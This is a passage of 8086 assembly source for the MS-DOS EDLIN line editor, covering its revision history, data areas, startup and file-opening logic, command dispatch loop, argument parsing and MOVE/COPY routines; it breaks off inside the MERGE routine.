; MICROSOFT REVISION HISTORY:
; ;
; V1.02 ;
; ;
; V2.00 9/13/82 M.A.U ;
; ;
; 2/23/82 Rev. 13 N. P ;
; Changed to 2.0 system calls. ;
; Added an error message for READ-ONLY files ;
; ;
; 11/7/83 Rev. 14 N. P ;
; Changed to .EXE format and added Printf ;
; ;
; V2.50 11/15/83 Rev. 1 M.A. U ;
; Official dos 2.50 version. Some random bug ;
; fixes and message changes. ;
; ;
; 11/30/83 Rev. 2 MZ ;
; Close input file before rename. ;
; Jmp to replace after line edit ;
; ;
; 02/01/84 Rev. 3 M.A. U ;
; Now it is called 3.00 dos. Repaired problem ;
; with using printf and having %'s as data. ;
; ;
; 02/15/84 MZ make out of space a fatal error with output;
; ;
; 03/28/84 MZ fixes bogus (totally) code in MOVE/COPY ;
; ;
; 04/02/84 MZ fixes DELETE and changes MOVE/COPY/EDIT ;
; ;
; V3.20 08/29/86 Rev. 1 S.M. G ;
; ;
; 08/29/86 M001 MSKK TAR 593, TAB MOVEMENT ;
; ;
; 08/29/86 M002 MSKK TAR 157, BLKMOVE 1,1,1m, 1,3,1m ;
; ;
; 08/29/86 M003 MSKK TAR 476, EDLCMD2,MAKECAPS,kana char ;
; ;
; 08/29/86 M004 MSKK TAR 191, Append load size ;
; ;
; 08/29/86 M005 IBMJ TAR Transfer Load command ;
; ;
; 04/17/90 c-PaulB ;
; Added /? switch to display options ;
; Files changed: edlin.asm, edlparse.asm, edlmes.asm, ;
; edlin.skl. ;
; ;
;======================= END OF SPECIFICATIONS =========================== ;
include version.inc
include intnat.inc
include syscall.inc
include edlequ.asm
SUBTTL Contants and Data areas
PAGE
extrn parser_command:near ;an000;SYSPARSE
CODE SEGMENT PUBLIC
CODE ENDS
CONST SEGMENT PUBLIC WORD
CONST ENDS
cstack segment stack
cstack ends
DATA SEGMENT PUBLIC WORD
DATA ENDS
DG GROUP CODE,CONST,cstack,DATA
CONST SEGMENT PUBLIC WORD
public bak,$$$file,delflg,loadmod,txt1,txt2
EXTRN BADDRV:abs,NDNAME:abs
EXTRN opt_err_ptr:word,NOBAK:abs,BADCOM:abs
EXTRN NEWFIL:abs,DEST:abs,MRGERR:abs
EXTRN NODIR:abs,FILENM_ptr:word,ro_err:abs
EXTRN bcreat:abs,msg_too_many:abs,msg_lf:abs
EXTRN prompt:abs,MemFul_Ptr:word,simple_msg:word
extrn dsp_options:abs
extrn dsp_help:abs,num_help_msgs:abs
BAK DB ".BAK",0
$$$FILE DB ".$$$",0
fourth db 0 ;fourth parameter flag
loadmod db 0 ;Load mode flag, 0 = ^Z marks the
; end of a file, 1 = viceversa.
optchar db "-"
TXT1 DB 0,80H DUP (?)
TXT2 DB 0,80H DUP (?)
DELFLG DB 0
fNew DB 0 ; old file
HAVEOF DB 0
CONST ENDS
cstack segment stack
db stksiz dup (?)
cstack ends
DATA SEGMENT PUBLIC WORD
extrn arg_buf_ptr:word ;an000;
extrn line_num_buf_ptr:word ;an000;
public path_name,ext_ptr,start,line_num,line_flag
public arg_buf,wrt_handle,temp_path
public current,pointer,qflg,editbuf,amnt_req,fname_len,delflg,lastlin
public olddat,oldlen,newlen,srchflg,srchmod
public comline,lstfnd,numpos,lstnum,last_mem,srchcnt
public rd_handle,haveof,ending,three4th,one4th
public lc_adj ;an000;page length adj. factor
public lc_flag ;an000;display cont. flag
public pg_count ;an000;lines left on screen
public Disp_Len ;an000;display length
public Disp_Width ;an000;display width
public continue ;an000;boolean T/F
public temp_path ;an000;pointer to filespec buf
Video_Buffer label word ;an000;buffer for video attr
db 0 ;an000;dms;
db 0 ;an000;dms;
dw 14 ;an000;dms;
dw 0 ;an000;dms;
db ? ;an000;dms;
db 0 ;an000;dms;
dw ? ;an000;dms;# of colors
dw ? ;an000;dms;# of pixels in width
dw ? ;an000;dms;# of pixels in len.
dw ? ;an000;dms;# of chars in width
dw ? ;an000;dms;# of chars in length
video_org db ? ;an000;original video mode on
; entry to EDLIN.
lc_adj db ? ;an000;page length adj. factor
lc_flag db ? ;an000;display cont. flag
pg_count db ? ;an000;lines left on screen
Disp_Len db ? ;an000;display length
Disp_Width db ? ;an000;display width
continue db ? ;an000;boolean T/F
;-----------------------------------------------------------------------;
; This is a table that is sequentially filled via GetNum. Any additions to it
; must be placed in the correct position. Currently Param4 is known to be a
; count and thus is treated specially.
public param1,param2,Param3,param4,ParamCt
PARAM1 DW ?
PARAM2 DW ?
PARAM3 DW ?
PARAM4 DW ?
ParamCt DW ? ; count of passed parameters
ifdef DBCS ; Used in TESTKANJ:
LBTbl dd ? ; long pointer to lead byte table
endif ; in the dos (from syscall 63H)
;-----------------------------------------------------------------------;
PUBLIC PTR_1, PTR_2, PTR_3, OLDLEN, NEWLEN, LSTFND, LSTNUM, NUMPOS, SRCHCNT
PUBLIC CURRENT, POINTER, ONE4TH, THREE4TH, LAST_MEM, ENDTXT, COPYSIZ
PUBLIC COMLINE, LASTLIN, COMBUF, EDITBUF, EOL, QFLG, ENDING, SRCHFLG
PUBLIC PATH_NAME, FNAME_LEN, RD_HANDLE, TEMP_PATH, WRT_HANDLE, EXT_PTR
PUBLIC MRG_PATH_NAME, MRG_HANDLE, amnt_req, olddat, srchmod, MOVFLG, org_ds
ifdef DBCS
public lbtbl
endif
;
; These comprise the known state of the internal buffer. All editing
; functions must preserve these values.
;
CURRENT DW ? ; the 1-based index of the current line
POINTER DW ? ; pointer to the current line
ENDTXT DW ? ; pointer to end of buffer. (at ^Z)
LAST_MEM DW ? ; offset of last byte of memory
;
; The label Start is the beginning of the in-core buffer.
;
;
; Internal temporary pointers
;
PTR_1 DW ?
PTR_2 DW ?
PTR_3 DW ?
QFLG DB ? ; TRUE => query for replacement
OLDLEN DW ?
NEWLEN DW ?
LSTFND DW ?
LSTNUM DW ?
NUMPOS DW ?
SRCHCNT DW ?
ONE4TH DW ?
THREE4TH DW ?
COPYSIZ DW ? ; total length to copy
COPYLEN DW ? ; single copy length
COMLINE DW ?
LASTLIN DW ?
COMBUF DB 82H DUP (?)
EDITBUF DB 258 DUP (?)
EOL DB ?
ENDING DB ?
SRCHFLG DB ?
PATH_NAME DB 128 DUP(0)
FNAME_LEN DW ?
RD_HANDLE DW ?
TEMP_PATH DB 128 DUP(?)
WRT_HANDLE DW ?
EXT_PTR DW ?
MRG_PATH_NAME DB 128 DUP(?)
MRG_HANDLE DW ?
amnt_req dw ? ; amount of bytes requested to read
olddat db ? ; Used in replace and search, replace
; by old data flag (1=yes)
srchmod db ? ; Search mode: 1=from current+1 to
; end of buffer, 0=from beg. of
; buffer to the end (old way).
MOVFLG DB ?
org_ds dw ? ;Orginal ds points to header block
arg_buf db 258 dup (?)
EA_Flag db False ;an000; dms;set to false
EA_Buffer_Size dw ? ;an000; dms;EA buffer's size
EA_Parm_List label word ;an000; dms;EA parms
dd dg:Start ;an000; dms;ptr to EA's
dw 0001h ;an000; dms;additional parms
db 06h ;an000; dms;
dw 0002h ;an000; dms;iomode
line_num dw ?
line_flag db ?,0
EVEN ;align on word boundaries
;
; Byte before start of data buffer must be < 40H !!!!!!
;
dw 0 ;we scan backwards looking for
;a character which can't be part
;of a two-byte seqence. This
;double byte sequence will cause the back
;scan to stop here.
START LABEL WORD
DATA ENDS
CODE SEGMENT PUBLIC
ASSUME CS:DG,DS:NOTHING,ES:NOTHING,SS:CStack
extrn pre_load_message:near ;an000;message loader
extrn disp_fatal:near ;an000;fatal message
extrn printf:near ;an000;new PRINTF routine
extrn findlin:near,shownum:near,loadbuf:near,crlf:near,lf:near
extrn abortcom:near,delbak:near,unquote:near,kill_bl:near
extrn make_caps:near,dispone:near,display:near,query:near
extrn quit:near,make_cntrl:near,scanln:near,scaneof:near
extrn fndfirst:near,fndnext:near,replace:near,memerr:near
extrn xerror:near
extrn zerror:near
extrn bad_read:near,append:near
extrn nocom:near,pager:near,list:near,search_from_curr:near
extrn replac_from_curr:near,ewrite:near,wrt:near,delete:near
extrn filespec:byte ;an000;parser's filespec
extrn parse_switch_b:byte ;an000;result of switch scan
extrn parse_switch_?:byte ; result of switch scan
public std_printf,command,chkrange,comerr
public display_message
; exit from EDLIN
IFDEF DBCS
extrn testkanj:near
ENDIF
EDLIN:
JMP SHORT SIMPED
std_printf proc near ;ac000;convert to proc
push dx
call printf
pop dx ;an000;balance the push
ret
std_printf endp ;ac000;end proc
Break <Dispatch Table>
;-----------------------------------------------------------------------;
; Careful changing the order of the next two tables. They are linked and
; changes should be be to both.
COMTAB DB 13,";ACDEILMPQRSTW"
NUMCOM EQU $-COMTAB
TABLE DW BLANKLINE ; Blank line
DW NOCOM ; ;
DW APPEND ; A(ppend)
DW COPY ; C(opy)
DW DELETE ; D(elete)
DW ENDED ; E(xit)
DW INSERT ; I(nsert)
DW LIST ; L(ist)
DW MOVE ; M(ove)
DW PAGER ; P(age)
DW QUIT ; Q(uit)
dw replac_from_curr ; R(eplace)
dw search_from_curr ; S(earch)
DW MERGE ; T(merge)
DW EWRITE ; W(rite)
Break <Initialization Code>
NONAME:
mov ax,NDNAME
jmp zerror
SIMPED:
mov org_ds,DS
push ax ;ac000;save for drive compare
push cs ;an000;exchange cs/es
pop es ;an000;
push cs ;an000;exchange cs/ds
pop ds ;an000;
assume ds:dg,es:dg ;an000;establish addressibility
MOV dg:ENDING,0
mov sp,stack
call EDLIN_DISP_GET ;an000;get current video
; mode & set it to
; text
;=========================================================================
; invoke PRE_LOAD_MESSAGE here. If the messages were not loaded we will
; exit with an appropriate error message.
;
; Date : 6/14/87
;=========================================================================
call PRE_LOAD_MESSAGE ;an000;invoke SYSLOADMSG
; $if c ;an000;if the load was unsuccessful
JNC $$IF1
mov ah,exit ;an000;exit EDLIN. PRE_LOAD_MESSAGE
; has said why we are exiting
mov al,00h ;an000
int 21h ;an000;exit
; $endif ;an000;
$$IF1:
VERS_OK:
;----- Check for valid drive specifier --------------------------------;
pop ax
OR AL,AL
JZ get_switch_char
mov ax,BADDRV
jmp zerror
get_switch_char:
MOV AX,(CHAR_OPER SHL 8) ;GET SWITCH CHARACTER
INT 21H
CMP DL,"/"
JNZ CMD_LINE ;IF NOT / , THEN NOT PC
MOV OPTCHAR,"/" ;IN PC, OPTION CHAR = /
IFDEF DBCS
push ds ; SAVE! all regs destroyed on this
push es
push si ; call !!
mov ax,(ECS_call shl 8) or 00h ; get kanji lead tbl
int 21h
assume ds:nothing
assume es:nothing
mov word ptr [LBTbl],si
mov word ptr [LBTbl+2],ds
pop si
pop es
pop ds
assume ds:dg
assume es:dg
ENDIF
CMD_LINE:
push cs
pop es
ASSUME ES:DG
;----- Process any options ------------------------------------------;
;=========================================================================
; The system parser, called through PARSER_COMMAND, parses external
; command lines. In the case of EDLIN we are looking for two parameters
; on the command line.
;
; Parameter 1 - Filespec (REQUIRED)
; Parameter 2 - \B switch (OPTIONAL)
;
; PARSER_COMMAND - exit_normal : ffffh
; exit_error : not = ffffh
;=========================================================================
call PARSER_COMMAND ;an000;invoke sysparse
; DMS:6/11/87
; Check for /? switch.
; If so, display the options
; and exit.
;
; This is done first so that if the user typed
; /? along with unknown commands, they can get
; a coherent message without being over-errored.
;
; 4/17/90 c-PaulB
cmp [parse_switch_?], true ; is the /? switch on?
jne CheckOptionsDone ; skip the rest of this if not
mov ax,dsp_options
call display_message
mov al, 0 ; get an okay exit code
mov ah, exit ; and
int 21h ; bail out.
CheckOptionsDone:
cmp ax,nrm_parse_exit ;an000;was it a good parse
; $if z ;an000;it was a good parse
JNZ $$IF3
call EDLIN_COMMAND ;an000;interface results
; into EDLIN
; $else ;an000;
JMP SHORT $$EN3
$$IF3:
cmp ax,too_many ;an000;too many operands
; $if z ;an000;we have too many
JNZ $$IF5
jmp short badopt ;an000;say why and exit
; $endif
$$IF5:
cmp ax,op_missing ;an000;required parm missing
; $if z ;an000;missing parm
JNZ $$IF7
ifdef DBCS
jmp noname ;an000;say why and exit
else
jmp short noname ;an000;say why and exit
endif
; $endif ;an000;
$$IF7:
cmp ax,sw_missing ;an000;is it an invalid switch
; $if z ;an000;invalid switch
JNZ $$IF9
jmp short badopt ;an000;say why and exit
; $endif ;an000;
$$IF9:
; $endif ;an000;
$$EN3:
;=========================================================================
;======================= begin .BAK check ================================
; Check for .BAK extension on the filename
push ds ;an000;save reg.
push cs ;an000;set up addressibility
pop ds ;an000;
assume ds:dg ;an000;
push ax ;an000;save reg.
mov ax,offset dg:path_name ;an000;point to path_name
add ax,[fname_len] ;an000;calculate end of path_name
mov si,ax ;an000;point to end of path_name
pop ax ;an000;restore reg.
MOV CX,4 ;compare 4 bytes
SUB SI,4 ;Point 4th to last char
MOV DI,OFFSET DG:BAK ;Point to string ".BAK"
REPE CMPSB ;Compare the two strings
pop ds
ASSUME DS:NOTHING
JNZ NOTBAK
JMP HAVBAK
;======================= end .BAK check ==================================
;======================= begin NOTBAK ====================================
; we have a file without a .BAK extension, try to open it
NOTBAK:
push ds
push cs
pop ds
ASSUME DS:DG
;=========================================================================
; implement EXTENDED OPEN
;=========================================================================
push es ;an000;save reg.
mov bx,RW ;an000;open for read/write
mov cx,ATTR ;an000;file attributes
mov dx,RW_FLAG ;an000;action to take on open
mov di,0ffffh ;an000;nul parm list
call EXT_OPEN1 ;an000;open for R/W;DMS:6/10/87
pop es ;an000;restore reg.
;=========================================================================
pop ds
ASSUME DS:NOTHING
JC CHK_OPEN_ERR ;an open error occurred
MOV RD_HANDLE,AX ;Save the handle
Jmp HavFil ;work with the opened file
;======================= end NOTBAK ======================================
Badopt:
MOV DX,OFFSET DG:OPT_ERR_ptr;Bad option specified
JMP XERROR
;=========================================================================
;
; The open of the file failed. We need to figure out why and report the
; correct message. The circumstances we can handle are:
;
; open returns pathnotfound => bad drive or file name
; open returns toomanyopenfiles => too many open files
; open returns access denied =>
; chmod indicates read-only => cannot edit read only file
; else => file creation error
; open returns filenotfound =>
; creat ok => close, delete, new file
; creat fails => file creation error
; else => file cre
;
CHK_OPEN_ERR:
cmp ax,error_path_not_found
jz BadDriveError
cmp ax,error_too_many_open_files
jz TooManyError
cmp ax,error_access_denied
jnz CheckFNF
push ds
push cs
pop ds
assume ds:dg
mov ax,(chmod shl 8)
MOV DX,OFFSET DG:PATH_NAME
int 21h
jc FileCreationError
test cx,attr_read_only
jz FileCreationError
jmp short ReadOnlyError
CheckFNF:
cmp ax,error_file_not_found
jnz FileCreationError
;
; Try to create the file to see if it is OK.
;
push ds
push cs
pop ds
assume ds:dg
;=========================================================================
; implement EXTENDED OPEN
;=========================================================================
mov bx,RW ;an000;open for read/write
mov cx,ATTR ;an000;file attributes
mov dx,CREAT_FLAG ;an000;action to take on open
mov di,0ffffh ;an000;null parm list
call EXT_OPEN1 ;an000;create file;DMS:6/10/87
;=========================================================================
pop ds
assume ds:nothing
jc CreateCheck
mov bx,ax
mov ah,close
int 21h
push ds
push cs
pop ds
assume ds:dg
mov ah,unlink
MOV DX,OFFSET DG:PATH_NAME
int 21h
pop ds
assume ds:nothing
jc FileCreationError ; This should NEVER be taken!!!
MOV HAVEOF,0FFH ; Flag from a system 1.xx call
MOV fNew,-1
JMP short HAVFIL
CreateCheck:
cmp ax,error_access_denied
jnz BadDriveError
DiskFull:
mov ax,NODIR
jmp zerror
FileCreationError:
mov ax,bcreat
jmp zerror
ReadOnlyError:
mov ax,RO_ERR
jmp zerror
BadDriveError:
mov ax,BADDRV
jmp zerror
TooManyError:
mov ax,msg_too_many
jmp zerror
CREAT_ERR:
CMP DELFLG,0
JNZ DiskFull
push cs
pop ds
CALL DELBAK
JMP short MAKFIL
HAVBAK:
mov ax,NOBAK
jmp zerror
HAVFIL:
push cs
pop ds
ASSUME DS:DG
CMP fNew,0
JZ MakeBak
mov ax,newfil
call display_message
MakeBak:
MOV SI,OFFSET DG:PATH_NAME
MOV CX,[FNAME_LEN]
PUSH CX
MOV DI,OFFSET DG:TEMP_PATH
REP MOVSB
DEC DI
MOV DX,DI
POP CX
MOV AL,"."
STD
REPNE SCASB
JZ FOUND_EXT
MOV DI,DX ;Point to last char in filename
FOUND_EXT:
CLD
INC DI
MOV [EXT_PTR],DI
MOV SI,OFFSET DG:$$$FILE
MOV CX,5
REP MOVSB
;Create .$$$ file to make sure directory has room
MAKFIL:
;=========================================================================
; implement EXTENDED OPEN
;=========================================================================
mov bx,RW ;an000;open for read/write
mov cx,ATTR ;an000;file attributes
mov dx,Creat_Open_Flag ;an000;action to take on open
cmp EA_Flag,True ;an000;EA_Buffer used?
; $if e ;an000;yes
JNE $$IF12
mov di,offset dg:EA_Parm_List ;an000; point to buffer
; $else ;an000;
JMP SHORT $$EN12
$$IF12:
mov di,0ffffh ;an000;nul parm list
; $endif ;an000;
$$EN12:
call EXT_OPEN2 ;an000;create file;DMS:6/10/87
;=========================================================================
JC CREAT_ERR
MOV [WRT_HANDLE],AX
;
; We determine the size of the available memory. Use the word in the PDB at
; [2] to determine the number of paragraphs. Then truncate this to 64K at
; most.
;
push ds ;save ds for size calc
mov ds,[org_ds]
MOV CX,DS:[2]
MOV DI,CS
SUB CX,DI
CMP CX,1000h
JBE GotSize
MOV CX,0FFFh
GotSize:
SHL CX,1
SHL CX,1
SHL CX,1
SHL CX,1
pop ds ;restore ds after size calc
DEC CX
MOV [LAST_MEM],CX
MOV DI,OFFSET DG:START
TEST fNew,-1
JNZ SAVEND
SUB CX,OFFSET DG:START ;Available memory
SHR CX,1 ;1/2 of available memory
MOV AX,CX
SHR CX,1 ;1/4 of available memory
MOV [ONE4TH],CX ;Save amount of 1/4 full
ADD CX,AX ;3/4 of available memory
MOV DX,CX
ADD DX,OFFSET DG:START
MOV [THREE4TH],DX ;Save pointer to 3/4 full
MOV DX,OFFSET DG:START
SAVEND:
CLD
MOV BYTE PTR [DI],1AH
MOV [ENDTXT],DI
MOV BYTE PTR [COMBUF],128
MOV BYTE PTR [EDITBUF],255
MOV BYTE PTR [EOL],10
MOV [POINTER],OFFSET DG:START
MOV [CURRENT],1
MOV ParamCt,1
MOV [PARAM1],0 ;M004 Leave room in memory, was -1
TEST fNew,-1
JNZ COMMAND
;
; The above setting of PARAM1 to -1 causes this call to APPEND to try to read
; in as many lines that will fit, BUT.... What we are doing is simulating
; the user issuing an APPEND command, and if the user asks for more lines
; than we get then an "Insufficient memory" error occurs. In this case we
; DO NOT want this error, we just want as many lines as possible read in.
; The twiddle of ENDING suppresses the memory error
;
MOV BYTE PTR [ENDING],1 ;Suppress memory errors
CALL APPEND
MOV ENDING,0 ; restore correct initial value
Break <Main command loop>
;
; Main read/parse/execute loop. We reset the stack all the time as there
; are routines that JMP back here. Don't blame me; Tim Paterson write this.
;
COMMAND:
push cs ;an000;set up addressibility
pop ds ;an000;
push cs ;an000;
pop es ;an000;
assume ds:dg,es:dg ;an000;
MOV SP, STACK
MOV AX,(SET_INTERRUPT_VECTOR SHL 8) OR 23H
MOV DX,OFFSET DG:ABORTCOM
INT 21H
mov ax,prompt
call display_message
MOV DX,OFFSET DG:COMBUF
MOV AH,STD_CON_STRING_INPUT
INT 21H
MOV [COMLINE],OFFSET DG:COMBUF + 2
mov ax,msg_lf
call display_message
PARSE:
MOV [PARAM2],0
MOV [PARAM3],0
MOV [PARAM4],0
mov [fourth],0 ;reset the fourth parameter flag
MOV QFLG,0
MOV SI,[COMLINE]
MOV BP,OFFSET DG:PARAM1
XOR DI,DI
CHKLP:
CALL GETNUM
;
; AL has first char after arg
;
MOV ds:[BP+DI],DX
ADD DI,2
MOV ParamCt,DI ; set up count of parameters
SHR ParamCt,1 ; convert to index (1-based)
CALL SKIP1 ; skip to next parameter
CMP AL,"," ; is there a comma?
jnz NOT_COMMA ; if not, then done with arguments
cmp di,8 ; **** maximum size of PARAM array!
jb CHKLP ; continue scanning if <4 PARAMS
jmp short COMERR
NOT_COMMA:
DEC SI ; point at char next
CALL Kill_BL ; skip all blanks
CMP AL,"?" ; is there a ?
JNZ DISPATCH ; no, got command letter
MOV QFLG,-1 ; signal query
CALL Kill_BL
DISPATCH:
CMP AL,5FH
JBE UPCASE
cmp al,"z"
ja upcase
AND AL,5FH
UPCASE:
MOV DI,OFFSET DG:COMTAB
mov cx,NUMCOM
REPNE SCASB
JNZ COMERR
SUB DI,1+OFFSET DG:COMTAB ; convert to index
MOV BX,DI
MOV AX,[PARAM2]
OR AX,AX
JZ PARMOK
CMP AX,[PARAM1]
JB COMERR ; Param. 2 must be >= param 1
PARMOK:
MOV [COMLINE],SI
SHL BX,1
CALL [BX+TABLE]
COMOVER:
MOV SI,[COMLINE]
CALL Kill_BL
CMP AL,0DH
JZ COMMANDJ
CMP AL,1AH
JZ DELIM
CMP AL,";"
JNZ NODELIM
DELIM:
INC SI
NODELIM:
DEC SI
MOV [COMLINE],SI
JMP PARSE
COMMANDJ:
JMP COMMAND
SKIP1:
DEC SI
CALL Kill_BL
ret1: return
Break <Range Checking and argument parsing>
;
; People call here. we need to reset the stack.
; Inputs: BX has param1
; Outputs: Returns if BX <= Param2
;
CHKRANGE:
CMP [PARAM2],0
retz
CMP BX,[PARAM2]
JBE RET1
POP DX ; clean up return address
COMERR:
mov ax,BADCOM
zcomerr1:
call display_message
jmp command
COMERR1:
call std_printf
JMP COMMAND
;
; GetNum parses off 1 argument from the command line. Argument forms are:
; nnn a number < 65536
; +nnn current line + number
; -nnn current line - number
; . current line
; # lastline + 1
;
;
GETNUM:
CALL Kill_BL
cmp di,6 ;Is this the fourth parameter?
jne sk1
mov [fourth],1 ;yes, set the flag
sk1:
CMP AL,"."
JZ CURLIN
CMP AL,"#"
JZ MAXLIN
CMP AL,"+"
JZ FORLIN
CMP AL,"-"
JZ BACKLIN
MOV DX,0
MOV CL,0 ;Flag no parameter seen yet
NUMLP:
CMP AL,"0"
JB NUMCHK
CMP AL,"9"
JA NUMCHK
CMP DX,6553 ;Max line/10
JAE COMERR ;Ten times this is too big
MOV CL,1 ;Parameter digit has been found
SUB AL,"0"
MOV BX,DX
SHL DX,1
SHL DX,1
ADD DX,BX
SHL DX,1
CBW
ADD DX,AX
LODSB
JMP SHORT NUMLP
NUMCHK:
CMP CL,0
retz
OR DX,DX
JZ COMERR ;Don't allow zero as a parameter
return
CURLIN:
cmp [fourth],1 ;the fourth parameter?
je comerra ;yes, an error
MOV DX,[CURRENT]
LODSB
return
MAXLIN:
cmp [fourth],1 ;the fourth parameter?
je comerra ;yes, an error
MOV DX,1
MOV AL,0Ah
PUSH DI
MOV DI,OFFSET DG:START
MOV CX,EndTxt
SUB CX,DI
MLoop:
JCXZ MDone
REPNZ SCASB
JNZ MDone
INC DX
JMP MLoop
MDone:
POP DI
LODSB
return
FORLIN:
cmp [fourth],1 ;the fourth parameter?
je comerra ;yes, an error
CALL GETNUM
ADD DX,[CURRENT]
return
BACKLIN:
cmp [fourth],1 ;the fourth parameter?
je comerra ;yes, an error
CALL GETNUM
MOV BX,[CURRENT]
SUB BX,DX
JA OkLin ; if negative or zero
MOV BX,1 ; use first line
OkLin:
MOV DX,BX
return
comerra:
jmp comerr
ERRORJ:
JMP COMERR
ERROR1J:
JMP zcomerr1
BLANKLINE:
cmp QFLG,0
jnz SHOWHELP ; if ? at front of blank line, do HELP
jmp NOCOM ; ignore blank line otherwise
SHOWHELP:
dec [COMLINE] ; point back to <cr>
mov cx,num_help_msgs-1
mov ax,dsp_help
SHOWHELP1:
call display_message
inc ax
loop SHOWHELP1
; fall into display_message for last message and return
;=========================================================================
; display_message : Displays a simple common message through the
; ; message retriever, using a common parameter
; ; block.
; Inputs : ax = message number to display
;
;=========================================================================
display_message proc near
mov dg:[simple_msg],ax
mov dx,offset dg:simple_msg
jmp printf ; display it
display_message endp
Break <Move and Copy commands>
PUBLIC MOVE
MOVE:
CMP ParamCt,3
JNZ ERRORJ
MOV BYTE PTR [MOVFLG],1
JMP SHORT BLKMOVE
PUBLIC COPY
COPY:
CMP ParamCt,3
JB ERRORJ
MOV BYTE PTR [MOVFLG],0
;
; We are to move/copy a number of lines from one range to another.
;
; Memory looks like this:
;
; START: line 1
; ...
; pointer-> line n Current has n in it
; ...
; line m
; endtxt-> ^Z
;
; The algoritm is:
;
; Bounds check on args.
; set ptr1 and ptr2 to range before move
; set copysiz to number to move
; open up copysize * count for destination
; if destination is before ptr1 then
; add copysize * count to both ptrs
; while count > 0 do
; move from ptr1 to destination for copysize bytes
; count --
; if moving then
; move from ptr2 through end to ptr1
; set endtxt to last byte moved.
; set current, pointer to original destination
;
BLKMOVE:
;
; Make sure that all correct arguments are specified.
;
MOV BX,[PARAM3] ; get destination of move/copy
OR BX,BX ; must be specified (non-0)
mov ax,DEST
JZ ERROR1J ; is 0 => error
;
; get arg 1 (defaulting if necessary) and range check it.
;
MOV BX,[PARAM1] ; get first argument
OR BX,BX ; do we default it?
JNZ NXTARG ; no, assume it is OK.
MOV BX,[CURRENT] ; Defaults to the current line
CALL CHKRANGE ; Make sure it is good.
MOV [PARAM1],BX ; set it
NXTARG:
CALL FINDLIN ; find first argument line
JNZ ErrorJ ; line not found
MOV [PTR_1],DI
;
; get arg 2 (defaulting if necessary) and range check it.
;
MOV BX,[PARAM2] ; Get the second parameter
OR BX,BX ; do we default it too?
JNZ HAVARGS ; Nope.
MOV BX,[CURRENT] ; Defaults to the current line
MOV [PARAM2],BX ; Stash it away
HAVARGS:
CALL FindLin
JNZ ErrorJ ; line not found
MOV BX,Param2
INC BX ;Get pointer to line Param2+1
CALL FINDLIN
MOV [PTR_2],DI ;Save it
;
; We now have true line number arguments and pointers to the relevant places.
; ptr_1 points to beginning of region and ptr_2 points to first byte beyond
; that region.
;
; Check args for correct ordering of first two arguments
;
mov dx,[param1]
cmp dx,[param2]
jbe havargs1 ; first must be <= second
jmp comerr
havargs1:
;
; make sure that the third argument is not contained in the first range
;
MOV DX,[PARAM3]
CMP DX,[PARAM1] ; third must be <= first or
JBE NOERROR
CMP DX,[PARAM2]
JA NoError ; third must be > last
JMP ComErr
NOERROR:
;
; Determine number to move
;
MOV CX,Ptr_2
SUB CX,Ptr_1 ; Calculate number of bytes to copy
MOV CopySiz,CX
MOV CopyLen,CX ; Save for individual move.
MOV AX,[PARAM4] ; Was count defaulted?
OR AX,AX
JZ SizeOk ; yes, CX has correct value
MUL [COPYSIZ] ; convert to true size
MOV CX,AX ; move to count register
OR DX,DX ; overflow?
JZ SizeOK ; no
JMP MEMERR ; yes, bomb.
SizeOK:
MOV [COPYSIZ],CX
;
; Check to see that we have room to grow by copysiz
;
MOV AX,[ENDTXT] ; get pointer to last byte
MOV DI,[LAST_MEM] ; get offset of last location in memory
SUB DI,AX ; remainder of space
CMP DI,CX ; is there at least copysiz room?
JAE HAV_ROOM ; yes
JMP MEMERR
HAV_ROOM:
;
; Find destination of move/copy
;
MOV BX,[PARAM3]
CALL FINDLIN
MOV [PTR_3],DI
;
; open up copysiz bytes of space at destination
;
; move (p3, p3+copysiz, endtxt-p3);
;
MOV SI,EndTxt ; get source pointer to end
MOV CX,SI
SUB CX,DI ; number of bytes from here to end
INC CX ; remember ^Z at end
MOV DI,SI ; destination starts at end
ADD DI,[COPYSIZ] ; plus size we are opening
MOV [ENDTXT],DI ; new end point
STD ; go backwards
REP MOVSB ; and store everything
CLD ; go forward
;
; relocate ptr_1 and ptr_2 if we moved them
;
MOV BX,Ptr_3
CMP BX,Ptr_1 ; was dest before source?
JA NoReloc ; no, above. no relocation
MOV BX,CopySiz
ADD Ptr_1,BX
ADD Ptr_2,BX ; relocate pointers
NoReloc:
;
; Now we copy for count times copylen bytes from ptr_1 to ptr_3
;
; move (ptr_1, ptr_3, copylen);
;
MOV BX,Param4 ; count (0 and 1 are both 1)
MOV DI,Ptr_3 ; destination
CopyText:
MOV CX,CopyLen ; number to move
MOV SI,Ptr_1 ; start point
REP MOVSB ; move the bytes
SUB BX,1 ; exhaust count?
JG CopyText ; no, go for more
;
; If we are moving
;
CMP BYTE PTR MovFlg,0
JZ CopyDone
;
; Delete the source text between ptr_1 and ptr_2
;
; move (ptr_2, ptr_1, endtxt-ptr_2);
;
MOV DI,Ptr_1 ; destination
MOV SI,Ptr_2 ; source
MOV CX,EndTxt ; pointer to end
SUB CX,SI ; number of bytes to move
CLD ; forwards
REP MOVSB
MOV BYTE PTR ES:[DI],1Ah ; remember ^Z terminate
MOV EndTxt,DI ; new end of file
;
; May need to relocate current line (parameter 3).
;
MOV BX,Param3 ; get new current line
CMP BX,Param1 ; do we need to relocate
JBE CopyDone ; no, current line is before removed M002
ADD BX,Param1 ; add in first
SUB BX,Param2 ; current += first-last - 1;
DEC BX
MOV Param3,BX
CopyDone:
;
; we are done. Make current line the destination
;
MOV BX,Param3 ; set parameter 3 to be current
CALL FINDLIN
MOV [POINTER],DI
MOV [CURRENT],BX
return
Break <MoveFile - open up a hole in the internal file>
;
; MoveFile moves the text in the buffer to create a hole
;
; Inputs: DX is spot in buffer for destination
; DI is spot in buffer for source
MOVEFILE:
MOV CX,[ENDTXT] ;Get End-of-text marker
MOV SI,CX
SUB CX,DI ;Calculate number of bytes to copy
INC CX ; remember ^Z
MOV DI,DX
STD
REP MOVSB ;Copy CX bytes
XCHG SI,DI
CLD
INC DI
MOV BP,SI
SETPTS:
MOV [POINTER],DI ;Current line is first free loc
MOV [CURRENT],BX ; in the file
MOV [ENDTXT],BP ;End-of-text is last free loc before
return
NAMERR:
cmp ax,error_file_not_found
jne otherMergeErr
MOV DX,OFFSET DG:FILENM_ptr
JMP COMERR1
otherMergeErr:
mov ax,BADDRV
jmp zcomerr1
PUBLIC MERGE
MERGE:
CMP ParamCt,1
JZ MergeOK
JMP Comerr
MergeOK:
CALL KILL_BL
DEC SI
MOV DI,OFFSET DG:MRG_PATH_NAME
XOR CX,CX
CLD
MRG1:
LODSB
CMP AL," "
JE MRG2
CMP AL,9
JE MRG2
